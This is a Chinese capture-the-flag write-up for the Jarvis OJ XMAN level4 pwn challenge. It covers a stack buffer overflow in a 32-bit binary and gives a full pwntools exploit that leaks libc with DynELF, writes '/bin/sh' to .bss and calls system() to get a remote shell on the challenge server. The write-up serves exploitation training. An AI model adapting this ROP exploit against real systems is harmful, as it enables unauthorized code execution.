XMAN-level4

Jarvis OJ 平台上发现的一个 pwn 题目系列:XMAN。
本篇介绍 XMAN level4.

题目可以在 Jarvis OJ 平台上找的,这里不再提供下载。

首先使用 file 命令查看文件

file ./level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0 
./level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=44cfbcb6b7104566b4b70e843bc97c0609b7a018, not stripped

程序是32位 ELF 文件

使用 checksec 查看文件保护机制 (gdb peda插件

gdb ./level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0 

gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial 

程序启用了 NX (栈不可执行)

用 IDA 分析程序,发现一个函数明显存在缓冲区溢出漏洞

ssize_t vulnerable_function()
{
    char buf; // [sp+0h] [bp-88h]@1

    return read(0, &buf, 0x100u);
}

level4 是 level3 的升级版,程序差别不大,只是没有给出 libc ,这时候可以通过内存泄漏从内存中寻找 system 函数地址。可以使用 pwntoolsDynELF 模块来完成。

使用 DynELF 模块首先需要实现一个 leak 函数,接受一个地址作为参数,返回该地址的内容

def leak(address):
    payload = 'A' * 140
    payload += p32(write_plt)
    payload += p32(vulnerable_function_addr)
    payload += p32(1)
    payload += p32(address)
    payload += p32(4)
    io.sendline(payload)
    data = io.recv(4)
    print('%#x ==> %s' % (address, data.encode('hex')))
    return data

然后使用 DynELF 得到 libc.sosystem 函数在内存中的地址

d = DynELF(leak, elf=ELF('./level4'))
system_addr = d.lookup('system', 'libc')

但是 DynELF 不能获取 /bin/sh 的地址。我们可以使用 read 函数将 /bin/sh 读入到 bss 段,再调用system 函数执行 system('/bin/sh')

使用 pwntools 编写 exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import sys

from pwn import *

def main(local=False):
    if local:
        context.log_level = 'debug'
        io = process('./level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0')
    else:
        context.log_level = 'info'
        io = remote('pwn2.jarvisoj.com', 9880)

    elf = ELF('./level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0')

    # symbol in level4
    main_addr = elf.symbols['main']
    write_plt = elf.plt['write']
    read_plt = elf.plt['read']
    bss_addr = elf.bss()

    print('write_plt: %s' % hex(write_plt))
    print('read_plt: %s' % hex(read_plt))
    print('bss_addr: %s' % hex(bss_addr))

    def leak(address):
        payload = 'A' * 140
        payload += p32(write_plt)
        payload += p32(main_addr)
        payload += p32(1)
        payload += p32(address)
        payload += p32(4)
        io.sendline(payload)
        data = io.recv(4)
        print('%#x ==> %s' % (address, data.encode('hex')))
        return data

    d = DynELF(leak, elf=elf)
    system_addr = d.lookup('system', 'libc')

    print('system_addr: %s' % hex(system_addr))    

    # read(0, bss_addr, 8)
    payload = 'A' * 140
    payload += p32(read_plt)
    payload += p32(main_addr)
    payload += p32(0)
    payload += p32(bss_addr)
    payload += p32(8)

    io.sendline(payload)
    io.send('/bin/sh\x00')

    # system('/bin/sh')
    payload = 'A' * 140
    payload += p32(system_addr)
    payload += p32(main_addr)
    payload += p32(bss_addr)

    io.sendline(payload)
    io.interactive()

if __name__ == '__main__':
    if len(sys.argv) >= 2 and sys.argv[1] == 'local':
        main(True)
    else:
        main()

reference
一步一步学ROP之linux_x86篇
一步一步学ROP之linux_x64篇

0%